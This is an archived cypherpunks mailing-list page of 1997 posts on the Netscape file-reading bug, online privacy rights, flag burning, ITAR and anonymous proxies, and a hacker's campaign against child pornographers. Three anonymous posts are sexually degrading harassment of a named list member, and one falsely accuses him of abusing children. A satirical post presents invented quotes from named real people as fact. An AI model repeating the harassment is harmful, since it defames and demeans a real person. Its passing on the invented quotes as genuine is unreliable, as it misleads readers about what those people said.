December 2003 - cypherpunks-legacy

Quadratic residues
by nobody＠REPLAY.COM 17 Dec '03

17 Dec '03

Timmy C. Maya's wee-wee is so tiny that only his mommy is allowed to touch it. __o _ \<_ Timmy C. Maya (_)/(_)

2 1

Netscape Bug :)))
by William H. Geiger III 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- Just over the wire: Seems that there is a bug in Netscape including the new Communicator that will allow a web site to read *ANY* file on your computer. I repeate *ANY*, yes Virginia, *ANY* file on your computer. WebEx user and loving it. :))))) - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBM6DAn49Co1n+aLhhAQFdVwP+LQHkDPYPdqKDQyTxuYW23NgEHGotNyqB KJxk7uf93aGrbY6Zi+6+Y8JZeb7ce9usORYP6YWzRx1K/LhkEHn5un0aIRUlbHed rIxvt1S28bwuiXGrPOWNKTNXfEGb1x/YyBNshooclY1bz1YS1ZRk8t/vBl/aeTZy oWTpxeG/xjU= =Asb/ -----END PGP SIGNATURE-----

5 7

No Subject
by Mix 17 Dec '03

17 Dec '03

Tim C. Maya likes to lick the semen-shit mixture that accumulates in the crack of his mother's ass. /_/\/\ \_\ / /_/ \ \_\/\ \ Tim C. Maya \_\/

2 1

Re: FUCK YOU: There's no general right to privacy -- get over it,
by Rich Graves 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- Ray Arachelian wrote: >On Thu, 12 Jun 1997, Declan McCullagh wrote: > >> http://pathfinder.com/netly/editorial/0,1012,1050,00.html Pretty good article. >> I have a confession to make: Unlike many of my >> civil libertarian colleagues, I believe you have no >> general right to privacy online. Sure, you have the >> right to protect your personal data, but you shouldn't >> be able to stop someone else from passing along that >> information if you let it leave your computer. That's >> your responsibility. > >Booooooooo! Hisssssssssss! Putting your bread and butter before your >morals, eh? Maybe if someone would go through all your records and post >them all over the net, you'd feel differently! No need to go through them all. Just one record is guaranteed to set him and his friends off. >Declan, this truly sucks. :( I'm very disappointed in you. You are truly >scum if you believe this. Ray, he was talking about *rights*, not *morals*. I don't believe anyone has an absolute *right* to privacy, but that doesn't mean I think it would be anything short of morally abhorrent to knowingly post, say, Declan's social security number. He has no legal or moral *right* to privacy, but it would be morally *wrong*, and I would truly be scum, if I knowingly posted it. Rights are negative; morals are positive. The burden of proof is entirely different. Journalists have a First Amendment right to be free from government-imposed restrictions on speech, including non-criminal invasions of privacy (some invasions of privacy can be criminal if the target is not a public figure -- but such prosecutions are extremely rare), but some journalists are truly scum. Others, like Declan in this case, get bashed over misinterpretations and ideological flamers. - -rich http://www.stanford.edu/~llurch/ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQBVAwUBM6Hjh5NcNyVVy0jxAQG+sAH/f0ZbXItOdKI/jOfcY9mDxU/0hBoHQVdM XUW9xIHgKIgVzYzUrXFdmRL81Ku9IR77aJ6MEYrN5HjMNCZXusGdLg== =u4We -----END PGP SIGNATURE-----

1 0

Netscape Security Flaw is a Feature
by Tim May 17 Dec '03

17 Dec '03

Many of us have been watching the CNN reports--headline reports at that--that all past and current versions of Netscape on all platforms have reportedly carried the bug that allows any Web site being hit by Netscape to examine files on the user's hard disk. (A demonstration by the Danish team was compelling. CNN-FN generated a text file, placed it on their hard disk, and accessed the Danish site. Moments later, the Danes read back the text file. Over and over for more examples. They _could have been_ the NSA Web site, and the files could have been history files, passphrase files, etc. History files are common, and give captured kestrokes, of course.) But how could such a massive, massive flaw have gone undiscovered for so long? The answer, "It's a feature, not a bug." According to Netscape spokesmen, this feature was added to the kernel of Mosaic, then Navigator, in 1993, as part of the Clipper Key Recovery Program. As James Clarke put it an interview tonight on MSNBC, "Dorothy Denning asked us to insert the "remote read" capabilities to ensure that the legitimate needs of law enforcement are met. No person cruising the Web has any expectation of privacy, as even Declan McCullagh has pointed out." Marc Rotenberg commented, "Privacy at the individual user level is unimportant, just so long as a Privacy Ombudsman can decide on the legitimate needs of law enforcement." Meanwhile, Microsoft has acknowledge that all lines to its Redmond site are clogged by people dumping Navigator and trying to download Explorer. --Tim May There's something wrong when I'm a felon under an increasing number of laws. Only one response to the key grabbers is warranted: "Death to Tyrants!" ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay(a)got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway."

5 6

Andrew Shapiro on privacy rights in The Nation
by Declan McCullagh 17 Dec '03

17 Dec '03

---------- Forwarded message ---------- Date: Thu, 12 Jun 1997 21:08:37 -0700 (PDT) From: Declan McCullagh <declan(a)well.com> To: fight-censorship-announce(a)vorlon.mit.edu Subject: Andrew Shapiro on privacy rights in The Nation [Andrew is too modest perhaps to mention that his article is the cover story in the most recent issue of The Nation. --Declan] ---------- Forwarded message ---------- Date: Mon, 9 Jun 1997 02:52:22 -0500 From: Andrew Shapiro <ashapiro(a)interport.net> To: declan(a)well.com Subject: Re: FC: Mr. Gates goes to Washington, from The Netly News Declan: Interesting piece. I made a somewhat similar point about how the "siliconaires" (nice coinage) are manipuating the crypto debate at the expense of those making pure privacy arguments. This was in an article focusing mostly on a slightly different topic: this idea of the "market for privacy." Knowing your faith in markets, I doubt we'll agree on this one, but you may find my critique interesting -- and worth mentioning to the list. Given the news on P3 and OPS, the "market solution" will no doubt be discussed at the FTC hearing this week. See http://www.thenation.com/issue/970623/0623shap.htm Best, Andrew Andrew L. Shapiro Fellow, The Twentieth Century Fund Contributing Editor, The Nation 41 East 70th Street New York, NY 10021 ashapiro(a)interport.net work: +1 212 452 7725

1 0

Re: Flag Burning...
by Peter Trei 17 Dec '03

17 Dec '03

"RS" writes: I'm curious as to why you feel the need to conceal your identity. > When it comes down to flag burning, It really bothers me that we allow our > symbol of freedom to be burned. It's more than a flag and a right. It's a > symbol of the freedom we have. To allow someone to publicly burn a flag is > essentially displaying our freedom being burned. It's a symbol, not the thing symbolized. You are confusing the map with the country. Burning the flag is a statement by the burner that they feel that the symbol has become empty, and the freedom which the flag symbolizes is gone or has been compromised in some manner. It's clearly a form of political speech. True, It's a very strong statement, but strong political speech has been protected by the Constitution (at least up till now). > Bush was a veteran, and Clinton was not. I take it the ones who are > writing on this subject about how we should have the "freedom" to burn the > flag have never served in the military or for our country. You are mistaken - some of the people opposing your viewpoint have stated that they are veterans. > Being a veteran myself, I find it very distateful to allow anyone on our > soil to be allowed to "BURN" our symbol of freedom. Think about the flag > for a moment and what it really stands for. Does it not stand for freedom > and liberty? It does *stand* for freedom and liberty, but only as long those values really exist. It *is* *not* freedom and libery in it's own right. When what the flag symbolizes is gone, it becomes just a piece of cloth. Burning this cloth draws attention to the loss. It is a dramatic statement, but under certain circumstances an appropriate one. > Sorry, I just had to let this out. I stand behind Bush on this one. Don't > burn the flag unless you would like to live under another flag! Thank you for your opinion. You are of course free to express it. And I, and other thoughtful, freedom-loving Americans can oppose it. Think about this: Would you rather people did not burn the flag because: 1. They'll be thrown in the slammer if they do. 2. The revere the values for which it stands, and will not descrate a meaningful symbol of these values. In (2), we can look at the (very rare) individuals who *do* burn the flag, and determine for ourselves if they have a valid point to convey. In (1), we'll never know. For Congress to deny the freedom to burn the flag is a desecration of what the flag stands for - a descration of the flag by the government itself. Peter Trei trei(a)process.com Disclaimer: I represent only myself in this article.

3 2

[ADMINISTRATIVIUM] ZKP
by nobody＠REPLAY.COM 17 Dec '03

17 Dec '03

Timothy C. Mayo is not only as queer as a three dollar bill, but he is also into having sex with children. (((> /< ( / ((({{{{{:< Timothy C. Mayo \ \<

2 1

Re: Untraceable Contract Killings
by Blanc 17 Dec '03

17 Dec '03

Vladimir Z. Nuri wrote: >[yadda, yadda, yadda] (yawn) then Truth Monger wrote: >Of course, Bell did ADD a significant wrinkle, and deserves credit >for his contributions. May and Bell. Names that will be >remembered. ......................................................................... L.D.: Still whining after all these years. .. Blanc

1 0

Flag Burning...
by RS 17 Dec '03

17 Dec '03

When it comes down to flag burning, It really bothers me that we allow our symbol of freedom to be burned. It's more than a flag and a right. It's a symbol of the freedom we have. To allow someone to publicly burn a flag is essentially displaying our freedom being burned. Bush was a veteran, and Clinton was not. I take it the ones who are writing on this subject about how we should have the "freedom" to burn the flag have never served in the military or for our country. Being a veteran myself, I find it very distateful to allow anyone on our soil to be allowed to "BURN" our symbol of freedom. Think about the flag for a moment and what it really stands for. Does it not stand for freedom and liberty? Sorry, I just had to let this out. I stand behind Bush on this one. Don't burn the flag unless you would like to live under another flag!

10 9

Re: Untraceable Contract Killings
by Blanc 17 Dec '03

17 Dec '03

Vladimir Z. Nuri wrote: >[yadda, yadda, yadda] (yawn) then Truth Monger wrote: >Of course, Bell did ADD a significant wrinkle, and deserves credit >for his contributions. May and Bell. Names that will be >remembered. ......................................................................... L.D.: Still whining after all these years. .. Blanc

1 0

crypto page
by Robert Hettinga 17 Dec '03

17 Dec '03

--- begin forwarded text Sender: mac-crypto(a)thumper.vmeng.com Reply-To: Vinnie Moscaritolo <vinnie(a)webstuff.apple.com> Mime-Version: 1.0 Precedence: Bulk Date: Fri, 13 Jun 1997 13:15:56 -0700 From: Vinnie Moscaritolo <vinnie(a)webstuff.apple.com> To: Multiple recipients of <mac-crypto(a)thumper.vmeng.com> Subject: crypto page I am starting to create a crypto resource page (soon to be part of mac crypto) it is at http://www.vmeng.com/vinnie/crypto.html Its a first crack... if you have any (even obvious) additions I would appreciate them. Vinnie Moscaritolo That Crypto Guy at Apple... http://www.vmeng.com/vinnie/ Fingerprint: 4FA3298150E404F2782501876EA2146A --- end forwarded text ----------------- Robert Hettinga (rah(a)shipwright.com) Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/

1 0

Re: [Noise, California only] Good deal on ISDN access
by dshipman＠ewol.com 17 Dec '03

17 Dec '03

At 05:55 AM 6/11/97 +0200, you wrote: >Lucky Green sez: > >> Given that a good number of people on this list live in CA, this might be >> of interest to you. It certainly was to me. PacBell is selling flat rate 2B >> ISDN Internet access at $50/month. Plus the regular home ISDN fees, but >> this is still much cheaper than what I paid before. You might want to think >> hard before you buy at new 56k modem that in all likelihood won't be able >> to give you 56k anyway. And no analog modem will ever give you 128kbps. > >But don't they still charge you a penny a minute? That adds up fast, and >would probably cost you more than your $50 internet access fees. Plus the >cost of ISDN service... All told, you're looking at $150 or so per month. > >When for $150 you can get a brand spanking new 56K modem, and pay $20-30 a >month. Not as fast, but a much better price/performance ratio. > > GTE in SRQ charges a flat (no installation charge or per minute on a 36 month contract) rate of $54.00 plus any long distance calls I make on the SPID. My ISP charges $34.00 for a total of $88.00 and I am connected 125/175 hours a month. Early on, I found a definite need for a separate line ($19.00) to support my habit and when I installed ISDN that line was removed. Net cost for a *true* observed 3X speed increase, FAX, and voice com is $69.00 a month. A BitSURFER Pro TA cost $360.00 and replaced a 28.8 modem. As soon as my ISP gets around to it (and figures out what to charge), the wires get twisted and the 3X increase should double. Those who buy a "56k" modem are in for a disappointment. No POPS in the US supports more than 53k and many run at *much* less due to cross talk problems. Also, your ISP will have to choose one of the two available "standards" (X2 or 56Kflex) with no assurance that when the 56k dust settles you will still have compatible equipment. Those who live in ATL or are PAC Bell customers should examine the possibilities of ADSL which is supposed to roll out in both areas, sometime in the last quarter. Bell South plans to offer ADSL the first quarter of next year and DMT appears to be winning the "standards" battle with CAP for ASDL protocol. I've not seen any cost information but presume that the increased bandwidth will result in higher charges than ISDN. Unfortunately, here in the swamps of southwest FL, ADSL will not be an option for several years. DLS ------------------------------------------------ That field hath eyen, and the wood hath ears. Geoffrey Chaucer. 1328-1400. (From the text of Tyrwhitt.) Line 1524.

1 0

nym.alias.net back!!!!!!
by Arunas Norvaisa 17 Dec '03

17 Dec '03

there will be no comments from my stupid self. Hoorah!!! quote ===== >From lcs Remailer Administrator <mix-admin(a)nym.alias.net> Organization mail2news(a)nym.alias.net Date 14 Jun 1997 04:27:52 -0000 Newsgroups alt.privacy.anon-server Message-ID <19970614042752.18952.qmail(a)nym.alias.net> As of tonight, the alias.net domain seems to have been restored by the Internic. While negative lookups on the domain name may still be cached for 24 hours or so, nym.alias.net should soon be fully accessible within a day if it is not already. This down time has been fairly disastrous, but I suppose there is a brighter side--chances are the all nym.alias.net addresses have been cleared from spam databases, so as the remailer comes back on line, people should see less unsolicited mail than they used to. unquote ======= -- greetz... Arunas Norvaisa - little guy, The Masses Inc. <mailto:arunas@post1.com> with subject: 'send key' to get PGP key PGP for idiots page <http://www.a-vip.com/an> and a mirror site <http://www.post1.com/~arunas> IBM: Insultingly Boring Microcomputers

1 0

The Cartoon Decency Act? from the Netly News
by Declan McCullagh 17 Dec '03

17 Dec '03

---------- Forwarded message ---------- Date: Fri, 13 Jun 1997 08:05:12 -0700 (PDT) From: Declan McCullagh <declan(a)well.com> To: fight-censorship-announce(a)vorlon.mit.edu Subject: The Cartoon Decency Act? from the Netly News *********** http://cgi.pathfinder.com/netly/opinion/0,1042,1055,00.html The Netly News Network June 13, 1997 The Cartoon Decency Act? by Declan McCullagh (declan(a)well.com) We all know what threats confront our children today: War. Hunger. Poverty. Ignorance. But animated cartoon characters on the Net? Actually, the Center for Media Education and its allies ignored the others and just zeroed in on the looming menace of Net-toons yesterday during the Federal Trade Commission's interminable privacy hearings. CME's Shelley Pasnik warned, "Animated product spokescharacters are coming into our childrens' computers... Parents are deeply troubled by the intrusive nature of the online [world] coming into our homes." Hadn't she read Kurt Anderson's editorial in The New Yorker this week, that the onslaught of 'toons signals a cultural renaissance in the U.S.? Doh! The Center for Media's alarums sound familiar. Supporters of the notorious Communications Decency Act cried that "pornography is coming into our home computers" and used the same excuse of "protecting children" to justify passing the law. [...]

1 0

Responses to "there's no general right to privacy"
by Declan McCullagh 17 Dec '03

17 Dec '03

************** Date: Thu, 12 Jun 1997 19:27:45 -0400 From: Barney Wolff <barney(a)databus.com> > Date: Thu, 12 Jun 1997 18:58:25 -0400 > From: Declan McCullagh <declan(a)pathfinder.com> > > ... But in truth, privacy is not a > right but a preference: Some people want more of it > than others. Free speech is not a right but a preference. Some people want more of it than others. Because your job would be easier if there were less privacy, we all should suffer? Consider yourself flamed. Barney Wolff <barney(a)databus.com> ************** Date: Thu, 12 Jun 1997 22:43:59 -0400 From: Mike Godwin <mnemonic(a)well.com> To: declan(a)well.com, fight-censorship-announce(a)vorlon.mit.edu At 6:58 PM -0400 6/12/97, Declan McCullagh wrote: >************** > >http://pathfinder.com/netly/editorial/0,1012,1050,00.html > >The Netly News >June 12, 1997 > >Privacy? What Privacy? >by Declan McCullagh (declan(a)well.com) > > I have a confession to make: Unlike many of my >civil libertarian colleagues, I believe you have no >general right to privacy online. I endorse Declan's comments here, and most of what he says about privacy -- in particular that there is no general (read "universally applicable") right to privacy. There are, however, some particular rights to privacy in the United States that are worth maintaining and protecting into the next century. As against the government, these include (but are not limited to) one's 4th, 5th, and 6th Amendment rights that limit what the government can do to violate your privacy. As against other individuals and private entities, these include (but are not limited to) the rights protected under the invasion-of-privacy torts, and the restrictions on private companies' secondary use of transactional data. These carveouts from the general presumption articulated by Declan are generally supported by the American public, and have been reasonably well harmonized with First Amendment law. And they've stood the test of time. Most privacy advocates I know, when they're talking about privacy, are talking about these carveouts -- both as they exist now and as they will need to evolve in the decades to come. It should be noted that efforts like the EFF-originated ETrust program (now called Trust-E thanks to a trademark dispute) are not based on "rights," but on the creation of incentives to inform the public about the use of their personal information. As such, they sidestep the "right to privacy" discussion altogether. Which is probably just as well, given the quasi-theological taste such legal discussions tend to have. --Mike ---------------------------------------------------------------------------- 'Indeed, the Government's asserted "failure" of the Internet rests on the implicit premise that too much speech occurs in that medium, and that speech there is too available to the participants. This is exactly the benefit of Internet communication, however. The Government, therefore, implicitly asks this court to limit both the amount of speech on the Internet and the availability of that speech. This argument is profoundly repugnant to First Amendment principles.' --Judge Stewart Dalzell, ACLU v. Reno. Mike Godwin, EFF Staff Counsel, can be reached at mnemonic(a)eff.org or at his office, 510-548-3290. ----------------------------------------------------------------------------

1 0

Re: Impact of Netscape kernel hole
by John Young 17 Dec '03

17 Dec '03

Huge Cajones wrote: >Tim's post (although refuted by Marc) raises some serious issues since I >suspect that Joe Public has his secret key sitting in c:\pgp\secring.pgp Isn't it widely known that the secret key is not to be stored in the box, as the PGP manual and security pubs emphasize? Still, it would be good to know if a Netscape snooper could snarf a key while it is being used by PGP to decrypt, that is, whether the hole allows snooping on dynamic ops or just on stored info. Does anyone know if the the hole finders are discussing this on the Net, and if so, where? What are the folks at Netscape saying? Tom, Jeff?

5 5

Anonymous proxies & ITAR question
by nobody＠huge.cajones.com 17 Dec '03

17 Dec '03

[Background] I wanted to grab a copy of the 128 bit version of MSIE, but my ISP hasn't enabled reverse DNS lookup, so I decided to try running through an anonymous proxy server to scoop it and lo-and-behold, aside from being brutally slow, it worked like a charm. I may have the opportunity in the near future to set up a proxy server, but this concerns me... Under ITAR regs, if a "foreign national" was to use the server to get access to "munitions" (sure, software kills, didn't cha know?), could I be held in violation? Even if all they had was circumstantial evidence, I'd really like to avoid being indicted - puts a real kink in one's social schedule. Your thoughts on this would be appreciated.

2 1

Impact of Netscape kernel hole Impact of Netscape kernel hole
by nobody＠huge.cajones.com 17 Dec '03

17 Dec '03

It'd be nice to have more specifics about the whole situation, but regardless - any preliminary threat assessments? Exactly how widely exploited do you think this has been? Tim's post (although refuted by Marc) raises some serious issues since I suspect that Joe Public has his secret key sitting in c:\pgp\secring.pgp Some coherent input on the possible impact of this would be appreciated.

4 3

Re: Anonymous proxies & ITAR question
by Rich Graves 17 Dec '03

17 Dec '03

Also sprach nobody: >Under ITAR regs, if a "foreign national" was to use the server to get >access to "munitions" (sure, software kills, didn't cha know?), could I be >held in violation? > >Even if all they had was circumstantial evidence, I'd really like to avoid >being indicted - puts a real kink in one's social schedule. > >Your thoughts on this would be appreciated. This is why we need more remailers, and why it's good that you posted anonymously. The proper thing to do is to be "shocked, shocked!" that anything illegal is happening on your server, immediately shut it down (counting on the network to be self-healing with the help of an enhanced remailer list), and offer to cooperate fully. Unfortunately, you don't keep logs, so you wouldn't really be able to help (damn!). -rich http://www.stanford.edu/~llurch/

4 6

Cato forum on federal law enforcement
by Declan McCullagh 17 Dec '03

17 Dec '03

---------- Forwarded message ---------- Date: Fri, 13 Jun 1997 12:13:47 -0400 (EDT) From: Robin Hulsey <rhulsey(a)cato.org> Subject: No More Wacos: What's wrong with federal law enforcement and how to fix it NEWS MEDIA ALERT WHAT: Book Forum No more Wacos: What's wrong with federal law enforcement and how to fix it WHY: On April 19, 1993, federal agents conducted a deadly raid on the Branch Davidian compound at Waco, Texas. The Waco raid was the largest raid in the history of the Bureau of Alcohol, Tobacco and Firearms; it was the largest federal armed entry ever of an American home; and it resulted in the largest number of deaths of law enforcement officers in a single operation as well as the largest number of civilian deaths in a law enforcement operation. In No More Wacos, Kopel and Blackman maintain that what happened at Waco was neither a conspiracy nor a fluke. The Waco tragedy instead represents the worst-case scenario of problems that still plague federal law enforcement, including lax procedures involving search warrant applications and the militarization of police tactics. The authors will discuss why such tragedies occur-and how future Wacos can be prevented. WHEN: 4-6 p.m., Thursday, June 19 WHERE: F.A. Hayek Auditorium Cato Institute 1000 Massachusetts Ave. NW Washington, DC WHO: David B. Kopel Independence Institute Paul H. Blackman National Rifle Association HOW: RSVP to Robin Hulsey, at 202-789-5293 or rhulsey(a)cato.org

1 0

Re: Ray Just doesn't get it.
by Rich Graves 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- Ray Arachelian <sunder(a)brainlink.com> wrote: > Should detailed building plans be made available of all buildings so that > theives can look at them and break into banks more easily? Perhaps there > are reasons some of these things are available to the public. Perhaps > there are reasons why not all should be. Yeah. We'd better criminalize publishing computer security exploits, too. Some information is just too damn dangerous. If there is no public record of stuff like real estate, how are we supposed to know who owns what? Whoever's got the biggest gun? - -rich http://www.stanford.edu/~llurch/ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQBVAwUBM6HeepNcNyVVy0jxAQH8hwIAwEO/XE6hTC2MzVkKOB8eAzyM+aI1lOAX ialQMD8VGLSEXQb3wEuLsLHrHqNBJFeYXFD7zhHc7yKLFYhwGk+l5A== =lvKR -----END PGP SIGNATURE-----

2 1

Life inside the Beltway
by Chip Mefford 17 Dec '03

17 Dec '03

New technology for the cops. It brings tears of joy to my eyes to think of all the children that this new technology will save. -------------begin included text-------------------------- Alexandria police have a new high-tech tool to help them catch fugitives and find missing people. Police officials last week unveiled new digital scanners and cellular transmitters that allow cruisers to transmit photographs in less than a minute. That means an officer can scan in a family photo of a lost child and send it to all active patrol cars nearly instantly. The technology also lets the police send photos to the National Center for Missing and Exploited Children, which can then pass information on to other police departments. "In the search for a missing child, time is the enemy," said Ernie Allen, president of the Arlington-based center. "The more quickly we can provide a child's image, the greater the likelihood we can find the child." Alexandria and College Station, Tex., are the first two police departments in the country to get this image technology, officials said. Although the two departments use different computer systems, they are able to send pictures to each other via a computer center in Florida. At a demonstration last week, a College Station car sent a photo to an Alexandria cruiser in about 40 seconds, and a photo from the National Center took about the same time. It takes the same amount of time to send a photo to one car as to broadcast it to all of the cruisers, allowing the department to blanket an area with images immediately, officials said. The same technology will allow Alexandria to send photos to neighboring jurisdictions as soon as they get computers that receive digital images. Federal Highway Administration officials said they expect this kind of system to become widely available over the next two years. Alexandria is spending $800,000 to outfit its patrol cars with the new scanners and portable computers that can run criminal record checks. Adding the scanning technology "is an opportunity we just couldn't miss," said Lt. Michael Clancey, who commands the vice-narcotics division. Most of the money for the computers -- $500,000 -- comes from two federal grants and assets seized from criminals, officials said. The department is buying 82 computers, ensuring that most on-duty cars will have them. "Alexandria has been on the forefront of creative development in the use of technology," said Daniel Rosenblatt, director of the International Association of Chiefs of Police. © Copyright 1997 The Washington Post Company By Brooke A. Masters --------------------------------------------------------------------

1 0

Re: FCPUNX:There's no general right to privacy -- get over it, from Netly
by jamesd＠echeque.com 17 Dec '03

17 Dec '03

At 02:27 PM 6/13/97 -0400, tzeruch(a)ceddec.com wrote: > Today the Nazi's would simply pay Experian (was TRW) for their databases. > I think the IRS already does. I do not see private organizations bothering to collect data on racial identity, except where they are compelled to by the government. > --------------------------------------------------------------------- | We have the right to defend ourselves | http://www.jim.com/jamesd/ and our property, because of the kind | of animals that we are. True law | James A. Donald derives from this right, not from the | arbitrary power of the state. | jamesd(a)echeque.com

1 0

Re: There's no general right to privacy -- get over it, from Netly
by Rich Graves 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- William H. Geiger III <whgiii(a)amaranth.com> wrote: > Well this is rather a poor example. The requirment of a census was written > into the costitution and with good reason. Many of the government actions > are based on demographics congressional districting is a prime example. > > There is a fight going on in cogress right now as the current > administration wants to be able to gestimate the census rather than doing > an actuall head count so it can manipulate the figures any way it wants > (ie change the figures in key congressional districts so they can re-draw > them to favor their supporters). Not that I feel strongly either way, but the other way to look at this is that the current Congress likes its cozy little districts and likes restricting the census to people with permanent addresses, which tends to bias the figures in favor of suburbia. I certainly agree with the fundamental points that censuses and districting have always been important, and hence political[ly corrupted]. Anyone here descended from 3/5ths people? - -rich http://www.stanford.edu/~llurch/ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQBVAwUBM6HgHJNcNyVVy0jxAQEmsgH+IWGzDmFvmlCIKSxw26xaP4+tBRHhdRDu BT572zIvqjQfh/4B31qOzOjjWh6cFCEREXE/9bzHaRmyOYA3YfP+EQ== =8mJR -----END PGP SIGNATURE-----

1 0

The World's Smartest Highway (opened earlier this week)
by nobody＠huge.cajones.com 17 Dec '03

17 Dec '03

The worlds smartest highway opens tomorrow. So far, Highway 407 runs 36 km between Brampton and Markham, Ontario. Eventually it will cover an additional 33 km, and cost a total of $929.8 million over $13,000 per meter. What does that buy for Ontario commuters? The highway has a series of UHF radio antennae that pick up signals from small transponders installed in commuters vehicles. The highway measures the distance a vehicle travels, and deducts a per-kilometer fee from the owners credit card or prepaid account. The fee is 10 cents per kilometer in rush hour, 7 cents in off-peak hours, and 4 cents at night. Thats not a first a few U.S. toll highways have similar systems. But the 407 is the first highway able to send bills to drivers without transponders, without stopping them at toll booths. Overhead gantries along the highway take video images of license plates as vehicles travel the highway. The bill comes in the mail with a $1 premium. Ontario expects to pull in $40 million a year from Highway 407 tolls in theory. The license-plate billing system has never been tested under heavy traffic. The highway will be watching but not charging for the next 30 days or so, while Hughes Aircraft and Bell Canada, the companies who designed the system, hammer out the kinks. Related links: Canadian Highways International Corporation -30- Copyright ) 1997 Convergent Publishing Ltd. All rights reserved. [INLINE] Canadian Highways International Corporation http://www.chichwys.com http://www.theconvergence.com

1 0

Re: Wired News' War Correspondent on kiddie porn
by Rich Graves 17 Dec '03

17 Dec '03

> http://www.wired.com/news/culture/story/4437.html > > Hacker Vows 'Terror' for Child Pornographers > by Steve Silberman [...] > "Basically, we're talking about a Dirty Harry attitude," one network > technician/cypherpunk told Wired News. Though he senses "real feeling" > behind Se7en's battle cry, he feels that the best way to deal with > pornographers is to "turn the police loose on them." Grr. Didn't notice that on first reading. Of course I meant evidence of criminal child abuse that Mike Godwin considers illegal, not "pornography." Since he snipped my name on request, though, I suppose I can't really complain. -rich http://www.stanford.edu/~llurch/

1 0

Wired News' War Correspondent on kiddie porn
by Rich Graves 17 Dec '03

17 Dec '03

Full text: http://www.wired.com/news/culture/story/4437.html Hacker Vows 'Terror' for Child Pornographers by Steve Silberman 2:32pm 13.Jun.97.PDT After 17 years in the hacker underground, Christian Valor - well known among old-school hackers and phone phreaks as "Se7en" - was convinced that most of what gets written in the papers about computers and hacking is sensationalistic jive. For years, Valor says, he sneered at reports of the incidence of child pornography on the Net as "exaggerated/over-hyped/fearmongered/bullshit." Now making his living as a lecturer on computer security, Se7en claims he combed the Net for child pornography for eight weeks last year without finding a single image. That changed a couple of weeks ago, he says, when a JPEG mailed by an anonymous prankster sent him on an odyssey through a different kind of underground: IRC chat rooms with names like #littlegirlsex, ftp [...] On 8 June, Se7en vowed on a hacker's mailing list to deliver a dose of "genuine hacker terror" to those who upload and distribute such images on the Net. The debate over his methods has stirred up tough questions among his peers about civil liberties, property rights, and the ethics of vigilante justice. [I was not aware that he'd sent it to DefCon first, with cypherpunks as a secondary distribution. That explains the language barrier Lizard noticed.] Se7en claims to have already "taken down" a "major player" - an employee of Southwestern Bell who Se7en says was "posting ads all over the place." Se7en told Wired News that he covertly watched the man's activities for days, gathering evidence that he emailed to the president of Southwestern Bell. Pseudonymous remailers like hotmail.com and juno.com, Se7en insists, provide no security blanket [...] A couple of days after submitting message headers and logs to the president and network administrators of Southwestern Bell, Se7en says, he got a letter saying the employee was "no longer on the payroll." The hacker search for acceptance Se7en's declaration of war received support on the original mailing list. "I am all for freedom of speech/expression," wrote one poster, "but there are some things that are just wrong.... I feel a certain moral obligation to the human race to do my part in cleaning up the evil." [...] Pitching in to assist the Feds just isn't the hacker way. As one poster to the DefCon list put it, "The government can't enforce laws on the Internet. We all know that. We can enforce laws on the Internet. We all know that too." The DefCon list was not a unanimous chorus of praise for Se7en's plan to give the pornographers a taste of hacker terror, however. The most vocal dissenter has been Declan McCullagh, Washington correspondent for the Netly News. McCullagh is an outspoken champion of constitutional rights, and a former hacker himself. [Wired forgot the (tm).] "Few people seem to realize that the long-standing federal child-porn law outlawed pictures of dancing girls wearing leotards," McCullagh wrote - alluding to the conviction of Stephen Knox, a graduate student sentenced to five years in prison for possession of three videotapes of young girls in bathing suits. The camera, the US attorney general pointed out, lingered on the girls' genitals, though they remained clothed. "The sexual implications of certain modes of dress, posture, or movement may readily put the genitals on exhibition in a lascivious manner, without revealing them in a nude display," the Feds argued - and won. [Declan fails to recognize that everybody here already knows this, and agrees that Knox was the victim of hysteria.] The menace of child porn is being exploited by "censor-happy" legislators to "rein in this unruly cyberspace," McCullagh says. The rush to revile child porn on the DefCon list, McCullagh told Wired News, reminded him of the "loyalty oaths" of the McCarthy era. [With James Donald, on the other hand, no analogies are necessary.] But McCullagh is not alone. As the debate over Se7en's declaration spread to the cypherpunks mailing list and alt.cypherpunks - frequented by an older crowd than the DefCon list - others expressed similar reservations over Se7en's plan. "Basically, we're talking about a Dirty Harry attitude," one network technician/cypherpunk told Wired News. Though he senses "real feeling" behind Se7en's battle cry, he feels that the best way to deal with pornographers is to "turn the police loose on them." [ROFL. I insisted on not being identified because I didn't want any conflict with Declan, and here he has me AGREEING with him. Cool! And in context, a good addition to the story.] It's not JPEGs of clothed ballerinas that raise his ire, Se7en says. It's "the 4-year-olds being raped, the 6-year-old forced to have oral sex with cum running down themselves." Such images, Se7en admits, are very rare - even in online spaces dedicated to trading sexual imagery of children. "I know what I'm doing is wrong. I'm trampling on the rights of these guys," he says. "But somewhere in the chain, someone is putting these images on paper before they get uploaded. Your freedom ends when you start hurting other people." [I.e., we ain't talking about Knox or Angeli, folks.] -rich http://www.stanford.edu/~llurch/

1 0

Re: Do reporters have special rights the rest of us don't have?
by Secret Squirrel 17 Dec '03

17 Dec '03

